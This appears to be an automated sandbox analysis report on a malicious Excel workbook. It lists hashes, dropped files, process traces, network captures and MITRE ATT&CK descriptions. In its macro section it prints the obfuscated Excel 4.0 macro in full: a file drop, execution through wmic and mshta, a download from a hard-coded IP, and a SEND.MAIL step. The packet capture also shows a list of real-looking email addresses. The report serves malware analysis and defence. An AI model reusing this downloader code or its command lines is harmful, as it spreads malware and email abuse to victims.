Entropy (8bit):	7.829182341348924
Encrypted:	false
SSDEEP:	48:1d4/dnVzn1zbPT8EM34KzgOK8Apu7EJGjtkqvsWGHGPpyWcn:1d4/d9nJMEM3LcTu4GjGqvNPcn
MD5:	FDA1AD252C08365F5FA6F7A49BFC6903
SHA1:	381A8B4BFE0DD3FE3FB840198F7B994DFDB24368
SHA-256:	44CC2CFE1591FAD2A83A32BA89948620BBE9B1781876EB988D39F2EDED3E8442
SHA-512:	A63F16E8F6A72F83649244138D5F653AC79C702DEBCA692FB36F318C88C812D1CEAB099973394F06F4A5D784E1521592169F94B62652DA171320256F99F28BDA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......3.......A.....IDATx..yTT....XF6g..}.EC.T@......$.V...D<G=.f1Q....?n...h.......T.hP..5E."..). .3..?.<q6.a4=....{.{.......w..(.{\|,(.......P~N..(...."h..(...."h..(...."h..(...."h..(...."h..(...."h..(...."h..(...."h..(....~..k.....sfw55..S.n..>.c..S'..g...&.L......w.....4.@....w..........aC....r^^.g`..........q.3}...R]gg[yy...R...M....z.5..yy......4z_.............SO..@..-[.G.K..^....m.KL4;.F......g...;...........i.......zy.[..S<......+K...l.&..K.i+/7;d...........<q..........m7.,+#.a11.....}..HA,.x...P......1.-....z.M&c...x{.O.2...V.w,...{.bc....w..H.:t.............,$.~~Xq1`.....x..._M.....E....p....b....I..6.A.......kE.......I...;....-,..O....6k...9..@.....&e]g'..K...c...$%...r..../..>..'....+V.P..\...n.wd.O>....]...........f...........1w..Z.on....D.C..y....\|..J6o.....L.......y.._.8;...5+y.z..>....~.`..}.....4..?>irv..a......./.6.t...A...0..V".@....<\|.\|.....$.!CHePZ...e...k4l..\|hU..m............j..a1....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E075974.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 237 x 336, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	60538
Entropy (8bit):	7.970149181563435
Encrypted:	false
SSDEEP:	1536:2PFFxgFzx5YVqHS2YzayhpSW4vHR05Q4r5UZKUbD:RFzIsj8aipSW4vHREQ4iZKUbD
MD5:	ABC5AD9147D307B1DADB93C7AF297C5A
SHA1:	3658C7DDFA698CDADD1D24C6C8DC4ECF7A09D9E3
SHA-256:	AEF2CEDE45970E5F0DCC40514D38B0D707A87FBC5943B61763EF20B4A8C0573F
SHA-512:	D6F7C18AB4E132EAA0620FD83F7EE6C21F2B16ECA70267770C6F8499B18DEE24B3849E9ADDFAA76DA1A4CB13BDB81F1F49DF77CC3BF0146EE68E0CE6860839AA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.......P.....Sn.....JiCCPICC Profile..x..W.TS...[RIh..H...R.K..E....I ...D....]D@].U.E...ZQ...]......l..I.]=...s........{g...I.....y.\|Y\|D.kBj.......Z...x\|...........7..../.(......'.... q.g...<......\|..>Po=#_.. 6...!.q...(q..W.l..9....L..dY.h7C=....y.o@...%..!..x..#!...7M...p...'....C.<^..V..r.X.....?..%/W1...6.H.......F.(%.A.#...X..wb...b.RD&..QS...k.....x.Q..B......32..\...A....D..EByX...F6->v.g.8l....L.Wi.R.............D.).1j.89.bm...(..fS$.........m ..J"B...LYx..^.'...[$.sc4.*_........7..Y(a'.......s..C..c...$M.X.4?$^3..47Nc.S...J......\<0..H5?.#.KT.gd......A4..P....2.4....=M=.z$....d.!p.h.g..F$...._...\|h^.jT.....V.t..........<..r.o.j.d.[2x.5...a...)...&Z.Q..t.-.a.Pb$1.....?.......>..`._..........N...b.7...8..=.kr..:g...z.!x...8.7...h..A.P..D...[....U.5v.W.J.F..8\|;S.I.s.EY.+..5c.....o.s.....Q.Zb..}X.v.;.....;.5c..J<....V..xU<9.G..?....r.z.n..\|a....8.3e.,Q>....B.W..9........;.~M.b.......]q............8........Z..

C:\Users\user\AppData\Local\Temp\33DC.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	94490
Entropy (8bit):	7.918224907224739
Encrypted:	false
SSDEEP:	1536:8fh9AkpCHewPFFxgFzx5YVqHS2YzayhpSW4vHR05Q4r5UZKUbiiWldTC:8fhXhFzIsj8aipSW4vHREQ4iZKUbTWlg
MD5:	2053FFE5B5D76A8E8841F67D42BB9029
SHA1:	72663A75C047DD201691F92FBD09E33D38F75EA6
SHA-256:	C921D1D81B9336806395F264C27F8C15276C9C77212496FFF29D7729F213224F
SHA-512:	F11C5E9346B40D9CFE83A2D51AC0FEC5A5A7B68836055C3D7DE2B33D99ABCC775B72F8CBFAF77E203068E0941C6439B6592A6CE68FB25E337AD7228E50FAEF4B
Malicious:	false
Reputation:	low
Preview:	PK..........!.?...............[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.n.0....?..."......C..=....=3..&...L".}....`.Vr......W.........;6.3.WA.....o.'.`.^K.<tl.....-...!..mr...@..'....vV!9..5.E..A.A\.f...>..m.1.r..V.....]&.....B.1..5JfJT<y....+..7...@.-wR.p....DR.q2~..A\|.J~e.4"...d..K..^3'dM.7&..2..C.9.y..E.JFCs+S.).9#z+.....z..GF...?..v.....^C?..p...G..Czx..#.2....;E....^.$.CEF.d:. .u..........(.A=::...9..3..yk...C..=&CS'...i...._...0&..6..\|.~$1..s.h..v....<.j...fq..%=...n#.....

C:\Users\user\Desktop\~$7165.xlsb Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.9095513736766865
TrID:	Excel Microsoft Office Open XML Format document with Macro (51004/1) 36.56% Microsoft Excel Office Binary workbook document (40504/1) 29.03% Excel Microsoft Office Open XML Format document (40004/1) 28.67% ZIP compressed archive (8000/1) 5.73%
File name:	7165.xlsb
File size:	94201
MD5:	f8148e0bad6d907f92008218a0296d8d
SHA1:	782f3892983c1659a101b3cf298b01d12c593ab9
SHA256:	0e87b0f3a997a98409244e36b7da5eb04dc606b135dd9871ce39df554559f0dc
SHA512:	3338f4d53e4714693ce28b18df8d589be254027cfeeb66e4770c1902f00c0309e3c1bccd91e494343e4028d82fd0b712b8438cbeb43876678db3a639679c719b
SSDEEP:	1536:UWwPFFxgFzx5YVqHS2YzayhpSW4vHR05Q4r5UZKUbpc1xy19FOZWWBeCcgdg0v:VLFzIsj8aipSW4vHREQ4iZKUbeg1a1Y4
File Content Preview:	PK..........!...l.....W.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2ea8aa4b4b4b4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "7165.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

0,564,=FOPEN("C:\P" & CHAR(114) & "ogr" & CHAR(97) & "mData\HIXha" & CHAR(89) & "v." & CHAR(114) & CHAR(116) & "" & CHAR(102), 3)
1,564,=D7386+D9844
2,564,=C6511+B8418
4,564,=D1575+C1209
6,564,=B344+B2158
7,564,=C4456+A7443
8,564,=C6942+B30
9,564,=C9112+A525
13,564,=D2254+C2429
15,564,=FOR.CELL("iGmdgeIrs",Sheet1!BL166:BM2581, TRUE)
16,564,=D9342+A2365
18,564,=A9268+C2837
20,564,=B8938+D4864
22,564,=A7261+A8819
23,564,=B8893+B4149
25,564,=A1299+D2166
26,564,=B7186+B9394
28,564,=B4272+D9664
29,564,=D1677+C2743
30,564,=FWRITE(0,CHAR(iGmdgeIrs))
31,564,=C154+A7408
32,564,=C2275+B8139
35,564,=D9561+A1362
42,564,=B4213+A7710
44,564,=NEXT()
45,564,=C9146+D3858
46,564,=D7718+A6653
48,564,=B7849+A522
49,564,=C3270+B8812
51,564,=C2260+B7097
52,564,=D7382+D9514
53,564,=A5268+A4494
54,564,=EXEC("wmic process" & CHAR(32) & "call" & CHAR(32) & "cre" & CHAR(97) & "te" & CHAR(32) & "" & CHAR(34) & "mshta C" & CHAR(58) & "\Pr" & CHAR(111) & "gramData\HIXh" & CHAR(97) & "Yv." & CHAR(114) & CHAR(116) & "" & CHAR(102) & CHAR(34) & "")
57,564,=C4958+B6987
58,564,=D8141+A8710
60,564,=D4177+A8726
65,564,=A1374+D2073
68,564,=CALL("ur" & CHAR(108) & "" & CHAR(109) & "on", CHAR(85) & "RLDow" & CHAR(110) & "loadToFileA","JJCCJJ", 0, "http://" & CHAR(49) & CHAR(53) & "7.2" & CHAR(52) & CHAR(53) & CHAR(46) & CHAR(49) & CHAR(48) & "8.2" & CHAR(49) & CHAR(53) & ":8" & CHAR(48) & "80/Q2W5VWUFL5VCM" & CHAR(81) & "7J" & CHAR(81) & CHAR(80) & "ET" & CHAR(71) & CHAR(51) & "CCTYX7" & CHAR(50) & "Z4R" & CHAR(50) & CHAR(53) & CHAR(80) & "DG", "C:\Pro" & CHAR(103) & "ra" & CHAR(109) & "Data" & CHAR(92) & "uLb" & CHAR(99) & "hw" & CHAR(86) & CHAR(122) & CHAR(74) & ".tx" & CHAR(116),0,0)
69,564,=A9708+A3634
73,564,=C8641+D6874
75,564,=D9610+A3379
76,564,=A5584+D9439
77,564,=B1363+B6652
79,564,=A2378+B7129
81,564,=ALERT(CHAR(69) & CHAR(114) & "ror" & CHAR(33) & CHAR(32) & "Sending " & CHAR(114) & "epo" & CHAR(114) & "t to " & CHAR(77) & "ic" & CHAR(114) & "oso" & CHAR(102) & CHAR(116) & ".." & CHAR(46) & "")
84,564,=D1232+C7927
85,564,=B7731+A1894
87,564,=A5994+D6217
88,564,=C1427+B7225
89,564,=C9155+D6497
92,564,=B8000+B2406
93,564,=A4015+C9
94,564,=FOPEN("C:\" & CHAR(80) & CHAR(114) & "og" & CHAR(114) & "amD" & CHAR(97) & "ta\uLbchwVzJ.txt",1)
97,564,=B9216+D6346
100,564,=C6441+A21
104,564,=SEND.MAIL(EVALUATE(FREAD(US95,255)))
107,564,=D7993+A7166
109,564,=A8910+C2919
111,564,=D9993+B88
114,564,=D6588+D3057
115,564,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 08:37:18.342323065 CET	49167	8080	192.168.2.22	157.245.108.215
Nov 25, 2021 08:37:18.511239052 CET	8080	49167	157.245.108.215	192.168.2.22
Nov 25, 2021 08:37:18.511425018 CET	49167	8080	192.168.2.22	157.245.108.215
Nov 25, 2021 08:37:18.512806892 CET	49167	8080	192.168.2.22	157.245.108.215
Nov 25, 2021 08:37:18.680377960 CET	8080	49167	157.245.108.215	192.168.2.22
Nov 25, 2021 08:37:18.972955942 CET	8080	49167	157.245.108.215	192.168.2.22
Nov 25, 2021 08:37:18.973130941 CET	49167	8080	192.168.2.22	157.245.108.215
Nov 25, 2021 08:38:33.977005005 CET	8080	49167	157.245.108.215	192.168.2.22
Nov 25, 2021 08:38:33.977128029 CET	49167	8080	192.168.2.22	157.245.108.215

HTTP Request Dependency Graph

157.245.108.215:8080

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	157.245.108.215	8080	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 08:37:18.512806892 CET	0	OUT	GET /Q2W5VWUFL5VCMQ7JQPETG3CCTYX72Z4R25PDG HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 157.245.108.215:8080 Connection: Keep-Alive
Nov 25, 2021 08:37:18.972955942 CET	0	IN	HTTP/1.1 200 OK Server: nginx/1.15.12 Date: Thu, 25 Nov 2021 07:37:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 132 Connection: keep-alive Data Raw: 7b 22 64 68 40 68 68 6f 6c 64 69 6e 67 73 67 72 6f 75 70 2e 63 6f 6d 22 2c 22 6b 72 69 73 74 69 65 40 62 72 61 6e 64 2d 6a 75 6d 70 2e 63 6f 6d 22 2c 22 61 2e 70 6c 70 65 72 65 7a 40 63 69 64 73 6c 2e 65 73 22 2c 22 68 67 72 69 6d 65 73 40 62 6c 61 63 6b 64 69 61 6d 6f 6e 64 75 73 2e 63 6f 6d 22 2c 22 6a 62 65 72 67 65 72 6f 6e 40 6b 69 6e 67 70 61 69 6e 74 69 6e 67 69 6e 63 2e 63 6f 6d 22 7d Data Ascii: {"dh@hholdingsgroup.com","kristie@brand-jump.com","a.plperez@cidsl.es","hgrimes@blackdiamondus.com","jbergeron@kingpaintinginc.com"}

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 536 Parent PID: 596

General

Start time:	08:36:14
Start date:	25/11/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13ffb0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: WMIC.exe PID: 1848 Parent PID: 536

General

Start time:	08:36:36
Start date:	25/11/2021
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic process call create "mshta C:\ProgramData\HIXhaYv.rtf"
Imagebase:	0xffec0000
File size:	566272 bytes
MD5 hash:	FD902835DEAEF4091799287736F3A028
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: mshta.exe PID: 3068 Parent PID: 1304

General

Start time:	08:36:37
Start date:	25/11/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta C:\ProgramData\HIXhaYv.rtf
Imagebase:	0x13f910000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

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Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report 7165.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Dropped Files

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "7165.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 536 Parent PID: 596

General

Analysis Process: WMIC.exe PID: 1848 Parent PID: 536

General